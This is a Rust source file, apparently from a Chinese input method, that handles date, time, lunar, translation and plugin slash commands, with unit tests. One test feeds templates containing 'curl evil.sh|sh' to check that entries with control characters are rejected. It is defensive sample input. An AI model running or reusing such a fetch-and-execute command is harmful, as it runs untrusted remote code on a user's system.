1use std::collections::HashSet;
6use time::format_description::parse_strftime_borrowed;
7use time::{Date, Month, PrimitiveDateTime, Time};
8
9use super::date_time::{query_date_time, LocalDateTime, WEEKDAYS};
10use crate::types::{CandidateSource, CommandTableEntry, PluginCommand, WordItem};
11
12pub const RESULT_LIMIT: usize = 18;
14const MAX_RESULT_LIMIT: usize = if super::date_time::RESULT_LIMIT > RESULT_LIMIT {
15 super::date_time::RESULT_LIMIT
16} else {
17 RESULT_LIMIT
18};
19pub const TABLE_LIMIT: usize = 256;
21pub const TRIGGER_LIMIT: usize = 32;
22pub const TEXT_UTF16_LIMIT: usize = 199;
24pub const PLUGIN_TRIGGER_LENGTH: std::ops::RangeInclusive<usize> = 2..=16;
26pub const PLUGIN_TITLE_CHARS: std::ops::RangeInclusive<usize> = 1..=8;
28const SMALL_COMMAND_TABLE: usize = 64;
30
31const DEFAULT_DATE_FORMAT: &str = "%Y-%m-%d";
32const DEFAULT_TIME_FORMAT: &str = "%H:%M";
33
34const BUILTINS: [(&[&str], &str); 10] = [
36 (&["rq", "riqi", "date"], "日期"),
37 (&["sj", "shijian", "time"], "时间"),
38 (&["xq", "xingqi", "week"], "星期"),
39 (&["nl", "nongli", "yinli"], "农历"),
40 (&["jidu"], "季度"),
41 (&["tianshu"], "天数"),
42 (&["daojishi"], "倒计时"),
43 (&["zhou"], "周"),
44 (&["shengxiao", "shu"], "生肖"),
45 (TRANSLATE_TRIGGERS, "翻译"),
46];
47
48const TRANSLATE_TRIGGERS: &[&str] = &["translate", "fanyi", "fy"];
50
51pub fn translation_source(
53 code: &str,
54 table: &[CommandTableEntry],
55) -> Option<(&'static str, String)> {
56 if table.iter().any(|entry| entry.trigger.starts_with(code)) {
57 return None;
58 }
59 let trigger = TRANSLATE_TRIGGERS
60 .iter()
61 .find(|trigger| code.starts_with(**trigger))?;
62 let rest = &code[trigger.len()..];
63 if !rest
64 .bytes()
65 .all(|byte| byte.is_ascii_lowercase() || byte == b'\'')
66 {
67 return None;
68 }
69 let text = join_translation_words(rest);
70 (!text.is_empty()).then_some((trigger, text))
71}
72
73fn join_translation_words(rest: &str) -> String {
74 let mut text = String::with_capacity(rest.len());
75 let mut separator = false;
76 for byte in rest.bytes() {
77 if byte == b'\'' {
78 separator = !text.is_empty();
79 } else {
80 if separator {
81 text.push(' ');
82 separator = false;
83 }
84 text.push(char::from(byte));
85 }
86 }
87 text
88}
89
90pub fn takes_word_separator(code: &str) -> bool {
92 TRANSLATE_TRIGGERS
93 .iter()
94 .any(|trigger| code.len() > trigger.len() && code.starts_with(trigger))
95 && code.ends_with(|letter: char| letter.is_ascii_lowercase())
96}
97
98pub fn usable_command_table(table: &[CommandTableEntry]) -> Vec<CommandTableEntry> {
100 let mut usable = Vec::new();
101 if table.len() <= SMALL_COMMAND_TABLE {
102 for (index, entry) in table.iter().enumerate() {
103 if usable.len() == TABLE_LIMIT {
104 break;
105 }
106 if valid_trigger(&entry.trigger)
107 && trigger_is_new(table, index, &entry.trigger)
108 && fits(&entry.template)
109 && template_valid(&entry.template)
110 {
111 if usable.capacity() == 0 {
112 usable.reserve_exact(TABLE_LIMIT.min(table.len()));
113 }
114 usable.push(entry.clone());
115 }
116 }
117 return usable;
118 }
119 let mut triggers = HashSet::new();
120 for entry in table {
121 if usable.len() == TABLE_LIMIT {
122 break;
123 }
124 let trigger_valid = valid_trigger(&entry.trigger);
125 if trigger_valid {
126 if triggers.capacity() == 0 {
127 triggers.reserve(TABLE_LIMIT.min(table.len()));
128 }
129 if triggers.insert(entry.trigger.as_str())
130 && fits(&entry.template)
131 && template_valid(&entry.template)
132 {
133 if usable.capacity() == 0 {
134 usable.reserve_exact(TABLE_LIMIT.min(table.len()));
135 }
136 usable.push(entry.clone());
137 }
138 }
139 }
140 usable
141}
142
143fn valid_trigger(trigger: &str) -> bool {
144 (1..=TRIGGER_LIMIT).contains(&trigger.len())
145 && trigger.bytes().all(|byte| byte.is_ascii_lowercase())
146}
147
148fn trigger_is_new(table: &[CommandTableEntry], index: usize, trigger: &str) -> bool {
149 table[..index]
150 .iter()
151 .all(|entry| !valid_trigger(&entry.trigger) || entry.trigger != trigger)
152}
153
154pub fn query_command(
156 code: &str,
157 now: &LocalDateTime,
158 table: &[CommandTableEntry],
159) -> Vec<WordItem> {
160 let clock = clock(now);
161 let limit = if BUILTINS[0].0.contains(&code) {
162 MAX_RESULT_LIMIT
163 } else {
164 RESULT_LIMIT
165 };
166 let mut rows: [Option<(String, String)>; MAX_RESULT_LIMIT] = std::array::from_fn(|_| None);
167 let mut row_count = 0;
168 let mut push = |trigger: &str, text: String| {
169 if row_count < limit
171 && fits(&text)
172 && !rows[..row_count]
173 .iter()
174 .flatten()
175 .any(|(_, existing)| existing == &text)
176 {
177 rows[row_count] = Some((trigger.to_owned(), text));
178 row_count += 1;
179 }
180 };
181 if let Some((trigger, text)) = translation_source(code, table) {
182 push(trigger, text);
183 }
184 for exact in [true, false] {
185 for entry in table {
186 if (entry.trigger == code) == exact && entry.trigger.starts_with(code) {
187 if let Some(text) = expand(&entry.template, clock.as_ref()) {
188 push(&entry.trigger, text);
189 }
190 }
191 }
192 for (aliases, _) in BUILTINS {
193 if exact {
194 if aliases.contains(&code) {
195 for row in query_date_time(code, now) {
196 push(code, row.word.into_string());
197 }
198 }
199 } else if !aliases.contains(&code) {
200 if let Some(alias) = aliases.iter().find(|alias| alias.starts_with(code)) {
201 if let Some(row) = query_date_time(alias, now).into_iter().next() {
202 push(alias, row.word.into_string());
203 }
204 }
205 }
206 }
207 }
208 rows.into_iter()
209 .take(row_count)
210 .flatten()
211 .enumerate()
212 .map(|(index, (trigger, text))| {
213 WordItem::new(
214 trigger,
215 text,
216 (row_count - index) as i64,
217 CandidateSource::Generated,
218 "",
219 )
220 })
221 .collect()
222}
223
224pub fn command_title<'a>(trigger: &str, table: &'a [CommandTableEntry]) -> Option<&'a str> {
226 if let Some(entry) = table.iter().find(|entry| entry.trigger == trigger) {
227 return Some(&entry.title);
228 }
229 BUILTINS
230 .iter()
231 .find(|(aliases, _)| aliases.contains(&trigger))
232 .map(|(_, title)| *title)
233}
234
235pub fn builtin_triggers() -> impl Iterator<Item = &'static str> {
237 BUILTINS
238 .iter()
239 .flat_map(|(aliases, _)| aliases.iter().copied())
240}
241
242pub fn builtin_titles() -> impl Iterator<Item = &'static str> {
244 BUILTINS.iter().map(|(_, title)| *title)
245}
246
247pub const EXTENDED_ARGUMENT_SYMBOLS: &str = ".+-*/%()=,";
249
250pub fn valid_plugin_argument(argument: &str, extended: bool) -> bool {
252 argument
253 .bytes()
254 .all(|byte| byte.is_ascii_lowercase() || (extended && extended_argument_symbol(byte)))
255}
256
257pub fn extended_argument_symbol(byte: u8) -> bool {
259 byte.is_ascii_digit() || EXTENDED_ARGUMENT_SYMBOLS.as_bytes().contains(&byte)
260}
261
262pub fn extended_trigger_typed(code: &str, plugin: &[PluginCommand]) -> bool {
264 plugin
265 .iter()
266 .any(|command| command.extended && code.starts_with(command.trigger.as_str()))
267}
268
269fn triggers_overlap(left: &str, right: &str) -> bool {
271 left.starts_with(right) || right.starts_with(left)
272}
273
274fn valid_plugin_trigger(trigger: &str) -> bool {
275 PLUGIN_TRIGGER_LENGTH.contains(&trigger.len())
276 && trigger.bytes().all(|byte| byte.is_ascii_lowercase())
277}
278
279fn valid_plugin_title(title: &str) -> bool {
280 PLUGIN_TITLE_CHARS.contains(&title.chars().count())
281 && !title.chars().any(char::is_control)
282 && title.trim() == title
283}
284
285pub fn usable_plugin_commands(
287 table: &[CommandTableEntry],
288 plugin: &[PluginCommand],
289) -> Vec<PluginCommand> {
290 let mut usable: Vec<PluginCommand> = Vec::new();
291 for command in plugin {
292 let trigger = command.trigger.as_str();
293 if valid_plugin_trigger(trigger)
294 && valid_plugin_title(&command.title)
295 && !builtin_triggers().any(|builtin| triggers_overlap(trigger, builtin))
296 && !table
297 .iter()
298 .any(|entry| triggers_overlap(trigger, &entry.trigger))
299 && !usable
300 .iter()
301 .any(|earlier| triggers_overlap(trigger, &earlier.trigger))
302 {
303 usable.push(command.clone());
304 }
305 }
306 usable
307}
308
309pub fn plugin_command_source<'a, 'b>(
311 code: &'b str,
312 plugin: &'a [PluginCommand],
313) -> Option<(&'a str, &'b str)> {
314 let command = plugin
315 .iter()
316 .find(|command| code.starts_with(command.trigger.as_str()))?;
317 let argument = &code[command.trigger.len()..];
318 valid_plugin_argument(argument, command.extended)
319 .then_some((command.trigger.as_str(), argument))
320}
321
322fn fits(text: &str) -> bool {
323 text.encode_utf16().count() <= TEXT_UTF16_LIMIT
324}
325
326fn clock(now: &LocalDateTime) -> Option<PrimitiveDateTime> {
328 let month = Month::try_from(u8::try_from(now.month).ok()?).ok()?;
329 let date = Date::from_calendar_date(now.year, month, u8::try_from(now.day).ok()?).ok()?;
330 let time = Time::from_hms(
331 u8::try_from(now.hour).ok()?,
332 u8::try_from(now.minute).ok()?,
333 u8::try_from(now.second).ok()?,
334 )
335 .ok()?;
336 Some(PrimitiveDateTime::new(date, time))
337}
338
339fn template_valid(template: &str) -> bool {
341 expand(template, Some(&PrimitiveDateTime::MIN)).is_some()
342}
343
344fn expand(template: &str, clock: Option<&PrimitiveDateTime>) -> Option<String> {
346 let mut output = String::with_capacity(template.len());
347 let mut rest = template;
348 while let Some(open) = rest.find(['{', '}']) {
349 if rest.as_bytes()[open] == b'}' {
350 return None;
351 }
352 output.push_str(&rest[..open]);
353 let after = &rest[open + 1..];
354 let close = after.find(['{', '}'])?;
355 if after.as_bytes()[close] == b'{' {
356 return None;
357 }
358 let placeholder = &after[..close];
359 rest = &after[close + 1..];
360 if placeholder == "weekday" {
361 let clock = clock?;
362 output.push_str(WEEKDAYS[usize::from(clock.weekday().number_days_from_sunday())]);
363 continue;
364 }
365 let (name, format) = placeholder.split_once(':').unwrap_or((placeholder, ""));
366 let format = match (name, format) {
367 ("date", "") => DEFAULT_DATE_FORMAT,
368 ("time", "") => DEFAULT_TIME_FORMAT,
369 ("date" | "time", format) => format,
370 _ => return None,
371 };
372 let items = parse_strftime_borrowed(format).ok()?;
373 output.push_str(&clock?.format(&items).ok()?);
374 }
375 output.push_str(rest);
376 (!output.chars().any(char::is_control)).then_some(output)
377}
378
379#[cfg(test)]
380mod tests {
381 use super::*;
382
383 fn now() -> LocalDateTime {
384 LocalDateTime {
385 year: 2026,
386 month: 10,
387 day: 1,
388 weekday: 4,
389 hour: 9,
390 minute: 5,
391 second: 7,
392 }
393 }
394
395 fn entry(trigger: &str, title: &str, template: &str) -> CommandTableEntry {
396 CommandTableEntry {
397 trigger: trigger.to_owned(),
398 title: title.to_owned(),
399 template: template.to_owned(),
400 }
401 }
402
403 fn words(rows: &[WordItem]) -> Vec<&str> {
404 rows.iter().map(|row| row.word.as_str()).collect()
405 }
406
407 #[test]
408 fn an_unknown_command_does_not_allocate_a_row_buffer() {
409 let (rows, allocations) =
410 crate::ime::personal_rerank::allocations::count(|| query_command("zzzz", &now(), &[]));
411 assert!(rows.is_empty());
412 assert_eq!(allocations, 0);
413 }
414
415 #[test]
416 fn a_bare_slash_lists_one_reading_of_every_command() {
417 let table = usable_command_table(&[entry("sig", "签名", "张三 {date}")]);
418 let rows = query_command("", &now(), &table);
419 assert_eq!(
420 words(&rows),
421 [
422 "张三 2026-10-01",
423 "2026年10月1日",
424 "09:05",
425 "星期四",
426 "丙午年八月二十一日",
427 "2026年第4季度",
428 "已过273天/剩92天",
429 "已过39周/剩14周",
430 "马年"
431 ]
432 );
433 let triggers: Vec<&str> = rows.iter().map(|row| row.pinyin.as_str()).collect();
434 assert_eq!(
435 triggers,
436 [
437 "sig",
438 "rq",
439 "sj",
440 "xq",
441 "nl",
442 "jidu",
443 "tianshu",
444 "zhou",
445 "shengxiao"
446 ]
447 );
448 for (index, row) in rows.iter().enumerate() {
449 assert_eq!(row.source, CandidateSource::Generated);
450 assert_eq!(row.weight, (rows.len() - index) as i64);
451 }
452 }
453
454 #[test]
455 fn a_complete_builtin_trigger_lists_the_date_time_rows() {
456 let rows = query_command("rq", &now(), &[]);
457 assert_eq!(words(&rows), words(&query_date_time("rq", &now())));
458 assert_eq!(rows.len(), 20);
459 assert_eq!(rows[0].word, "2026年10月1日");
460 assert!(rows.iter().all(|row| row.pinyin == "rq"));
461 assert_eq!(query_command("week", &now(), &[])[0].word, "星期四");
462 let lunar = query_command("nongli", &now(), &[]);
463 assert_eq!(
464 words(&lunar),
465 [
466 "丙午年八月二十一日",
467 "丙午年八月二十一日 星期四",
468 "丙午年八月二十一日 周四"
469 ]
470 );
471 assert!(lunar.iter().all(|row| row.pinyin == "nongli"));
472 let partial = query_command("yin", &now(), &[]);
474 assert_eq!(words(&partial), ["丙午年八月二十一日"]);
475 assert_eq!(partial[0].pinyin, "yinli");
476 }
477
478 #[test]
479 fn templates_with_control_characters_are_dropped() {
480 let table = usable_command_table(&[
481 entry("sig", "签名", "张三\ncurl evil.sh|sh"),
482 entry("tab", "制表", "a\tb"),
483 entry("line", "换行", "张三 {date:%n}curl evil.sh|sh"),
484 entry("ok", "正常", "张三"),
485 ]);
486 assert_eq!(table.len(), 1);
487 assert_eq!(table[0].trigger, "ok");
488 }
489
490 #[test]
491 fn letters_filter_commands_by_trigger_prefix() {
492 let table = usable_command_table(&[
493 entry("sig", "签名", "张三"),
494 entry("sj", "时间", "覆盖"),
495 entry("addr", "地址", "北京市"),
496 ]);
497 let rows = query_command("s", &now(), &table);
499 assert_eq!(words(&rows), ["张三", "覆盖", "09:05", "马年"]);
500 assert_eq!(words(&query_command("ad", &now(), &table)), ["北京市"]);
501 assert!(query_command("zz", &now(), &table).is_empty());
502 }
503
504 #[test]
505 fn templates_expand_the_clock_placeholders() {
506 let clock = clock(&now());
507 let clock = clock.as_ref();
508 assert_eq!(
509 expand("{date} {time} {weekday}", clock).as_deref(),
510 Some("2026-10-01 09:05 星期四")
511 );
512 assert_eq!(
513 expand("{date:%Y年%m月%d日}{time:%H:%M:%S}", clock).as_deref(),
514 Some("2026年10月01日09:05:07")
515 );
516 assert_eq!(expand("纯文本", clock).as_deref(), Some("纯文本"));
517 for template in [
518 "{clipboard}",
519 "a\nb",
520 "a\tb",
521 "a\u{1b}b",
522 "{date:%n}",
523 "{time:%t}",
524 "{date",
525 "date}",
526 "{{date}}",
527 "{date:%Q}",
528 "{time:%",
529 ] {
530 assert_eq!(expand(template, clock), None, "{template:?}");
531 }
532 }
533
534 #[test]
535 fn unusable_table_rows_are_dropped() {
536 let long = "字".repeat(TEXT_UTF16_LIMIT + 1);
537 let table = usable_command_table(&[
538 entry("", "空", "x"),
539 entry("Sig", "大写", "x"),
540 entry("s1", "数字", "x"),
541 entry(&"a".repeat(TRIGGER_LIMIT + 1), "太长", "x"),
542 entry("bad", "占位符", "{clipboard}"),
543 entry("big", "太长", &long),
544 entry("ok", "第一", "一"),
545 entry("ok", "第二", "二"),
546 ]);
547 assert_eq!(table, [entry("ok", "第一", "一")]);
548 let many: Vec<CommandTableEntry> = (0..TABLE_LIMIT + 10)
549 .map(|index| {
550 let trigger: String = format!("{index:04}")
551 .bytes()
552 .map(|digit| char::from(b'a' + digit - b'0'))
553 .collect();
554 entry(&trigger, "t", "x")
555 })
556 .collect();
557 assert_eq!(usable_command_table(&many).len(), TABLE_LIMIT);
558 }
559
560 #[test]
561 fn usable_command_table_reserves_the_input_bound() {
562 let table = [
563 entry("a", "甲", "一"),
564 entry("b", "乙", "二"),
565 entry("c", "丙", "三"),
566 ];
567 assert_eq!(usable_command_table(&table).capacity(), table.len());
568 }
569
570 #[test]
571 fn all_invalid_command_rows_do_not_allocate_filter_state() {
572 let table: Vec<_> = (0..=SMALL_COMMAND_TABLE)
573 .map(|index| entry(&format!("Bad{index}"), "无效触发词", "文本"))
574 .collect();
575 let (usable, allocations) =
576 crate::ime::personal_rerank::allocations::count(|| usable_command_table(&table));
577 assert!(usable.is_empty());
578 assert_eq!(allocations, 0);
579 }
580
581 #[test]
582 fn short_command_table_trigger_scan_uses_no_temporary_heap_state() {
583 let table = vec![
584 entry("a", "无效模板", "{clipboard}"),
585 entry("b", "乙", "二"),
586 entry("c", "丙", "三"),
587 ];
588 let (is_new, allocations) =
589 crate::ime::personal_rerank::allocations::count(|| trigger_is_new(&table, 2, "c"));
590 assert!(is_new);
591 assert_eq!(allocations, 0);
592 }
593
594 #[test]
595 fn short_command_table_trigger_scan_keeps_invalid_templates_seen() {
596 let table = [
597 entry("dup", "无效模板", "{clipboard}"),
598 entry("dup", "有效", "二"),
599 ];
600 assert!(!trigger_is_new(&table, 1, "dup"));
601 assert_eq!(
602 usable_command_table(&table),
603 Vec::<CommandTableEntry>::new()
604 );
605 }
606
607 #[test]
608 fn a_command_needing_an_unreadable_clock_is_not_shown() {
609 let table =
610 usable_command_table(&[entry("d", "日期", "{date}"), entry("t", "文本", "文本")]);
611 let rows = query_command("", &LocalDateTime::default(), &table);
612 assert_eq!(rows[0].word, "文本");
613 assert!(rows.iter().all(|row| row.pinyin != "d"), "{rows:?}");
615 }
616
617 #[test]
618 fn titles_come_from_the_table_then_the_builtins() {
619 let table = [entry("sig", "签名", "x")];
620 assert_eq!(command_title("sig", &table), Some("签名"));
621 assert_eq!(command_title("riqi", &table), Some("日期"));
622 assert_eq!(command_title("nl", &table), Some("农历"));
623 assert_eq!(command_title("fanyi", &table), Some("翻译"));
624 assert_eq!(command_title("nope", &table), None);
625 }
626
627 #[test]
628 fn the_translate_command_reads_english_after_its_trigger() {
629 let source = |code| translation_source(code, &[]);
630 assert_eq!(source("fyhello"), Some(("fy", "hello".to_owned())));
631 assert_eq!(
632 source("fy'hello''world'"),
633 Some(("fy", "hello world".to_owned()))
634 );
635 assert_eq!(source("fanyigood"), Some(("fanyi", "good".to_owned())));
636 assert_eq!(
637 source("translatecat"),
638 Some(("translate", "cat".to_owned()))
639 );
640 for code in ["", "f", "fy", "fy'", "fanyi", "translate", "rqx", "hello"] {
641 assert_eq!(source(code), None, "{code:?}");
642 }
643 let table = usable_command_table(&[entry("fyz", "自定义", "x")]);
645 assert_eq!(translation_source("fyz", &table), None);
646 assert_eq!(translation_source("fy", &table), None);
647 assert_eq!(
648 translation_source("fyx", &table),
649 Some(("fy", "x".to_owned()))
650 );
651
652 assert!(takes_word_separator("fyhello"));
653 assert!(!takes_word_separator("fy"));
654 assert!(!takes_word_separator("fyhello'"));
655 assert!(!takes_word_separator("rqx"));
656 }
657
658 #[test]
659 fn the_translate_command_shows_the_english_until_a_translation_arrives() {
660 let rows = query_command("fyhello'world", &now(), &[]);
661 assert_eq!(words(&rows), ["hello world"]);
662 assert_eq!(rows[0].pinyin, "fy");
663 assert_eq!(rows[0].source, CandidateSource::Generated);
664 assert!(query_command("fy", &now(), &[]).is_empty());
666 assert!(query_command("", &now(), &[])
667 .iter()
668 .all(|row| !TRANSLATE_TRIGGERS.contains(&row.pinyin.as_str())));
669 }
670
671 #[test]
672 fn translation_words_join_without_empty_segments() {
673 assert_eq!(join_translation_words("'hello''world'"), "hello world");
674 }
675
676 fn plugin(trigger: &str, title: &str) -> PluginCommand {
677 PluginCommand {
678 trigger: trigger.to_owned(),
679 title: title.to_owned(),
680 extended: false,
681 }
682 }
683
684 #[test]
685 fn only_extended_commands_take_digits_and_operators_after_the_whole_trigger() {
686 let commands = [
687 PluginCommand {
688 extended: true,
689 ..plugin("calc", "计算")
690 },
691 plugin("uuid", "UUID"),
692 ];
693 assert_eq!(
694 plugin_command_source("calc1+2*(3)", &commands),
695 Some(("calc", "1+2*(3)"))
696 );
697 assert_eq!(
698 plugin_command_source("calcab", &commands),
699 Some(("calc", "ab"))
700 );
701 assert_eq!(plugin_command_source("calc", &commands), Some(("calc", "")));
702 assert_eq!(plugin_command_source("uuid4", &commands), None);
703 assert_eq!(plugin_command_source("calc1 2", &commands), None);
704 assert_eq!(plugin_command_source("calcA", &commands), None);
705 assert!(extended_trigger_typed("calc", &commands));
706 assert!(extended_trigger_typed("calc12", &commands));
707 assert!(!extended_trigger_typed("cal", &commands));
708 assert!(!extended_trigger_typed("uuid", &commands));
709 for byte in b"0123456789.+-*/%()=," {
710 assert!(extended_argument_symbol(*byte), "{}", char::from(*byte));
711 }
712 for byte in b"a'; _#" {
713 assert!(!extended_argument_symbol(*byte), "{}", char::from(*byte));
714 }
715 }
716
717 fn triggers(commands: &[PluginCommand]) -> Vec<&str> {
718 commands
719 .iter()
720 .map(|command| command.trigger.as_str())
721 .collect()
722 }
723
724 #[test]
725 fn builtin_triggers_and_titles_list_every_command() {
726 let all: Vec<&str> = builtin_triggers().collect();
727 assert_eq!(
728 all,
729 [
730 "rq",
731 "riqi",
732 "date",
733 "sj",
734 "shijian",
735 "time",
736 "xq",
737 "xingqi",
738 "week",
739 "nl",
740 "nongli",
741 "yinli",
742 "jidu",
743 "tianshu",
744 "daojishi",
745 "zhou",
746 "shengxiao",
747 "shu",
748 "translate",
749 "fanyi",
750 "fy"
751 ]
752 );
753 let titles: Vec<&str> = builtin_titles().collect();
754 assert_eq!(
755 titles,
756 [
757 "日期",
758 "时间",
759 "星期",
760 "农历",
761 "季度",
762 "天数",
763 "倒计时",
764 "周",
765 "生肖",
766 "翻译"
767 ]
768 );
769 }
770
771 #[test]
772 fn plugin_triggers_must_not_overlap_builtins_the_table_or_earlier_plugins() {
773 let table = usable_command_table(&[entry("uu", "我的", "x"), entry("sig", "签名", "x")]);
774 let usable = usable_plugin_commands(
775 &table,
776 &[
777 plugin("rq", "日期二"),
779 plugin("fyx", "翻译二"),
780 plugin("tim", "时间二"),
781 plugin("uuid", "UUID"),
783 plugin("si", "签"),
784 plugin("sig", "签名二"),
785 plugin("cz", "拆字"),
787 plugin("czh", "拆字二"),
788 plugin("c", "单字母"),
789 plugin("cz", "重复"),
790 plugin("guid", "GUID"),
791 plugin("gu", "前缀"),
792 plugin("a", "短"),
794 plugin(&"q".repeat(17), "长"),
795 plugin("Abc", "大写"),
796 plugin("ab1", "数字"),
797 plugin("ka", ""),
799 plugin("kb", "一二三四五六七八九"),
800 plugin("kc", "a\nb"),
801 plugin("kd", " 空白"),
802 plugin(&"p".repeat(16), "一二三四五六七八"),
804 ],
805 );
806 let sixteen = "p".repeat(16);
807 assert_eq!(triggers(&usable), ["cz", "guid", sixteen.as_str()]);
808 assert_eq!(usable[0].title, "拆字");
809 }
810
811 #[test]
812 fn plugin_commands_match_a_trigger_followed_by_letters() {
813 let usable = usable_plugin_commands(&[], &[plugin("uuid", "UUID"), plugin("cz", "拆字")]);
814 assert_eq!(plugin_command_source("uuid", &usable), Some(("uuid", "")));
815 assert_eq!(
816 plugin_command_source("czhuohuo", &usable),
817 Some(("cz", "huohuo"))
818 );
819 for code in ["", "u", "uui", "c", "zz", "czhuo'huo"] {
820 assert_eq!(plugin_command_source(code, &usable), None, "{code:?}");
821 }
822 assert_eq!(plugin_command_source("uuid", &[]), None);
823 }
824}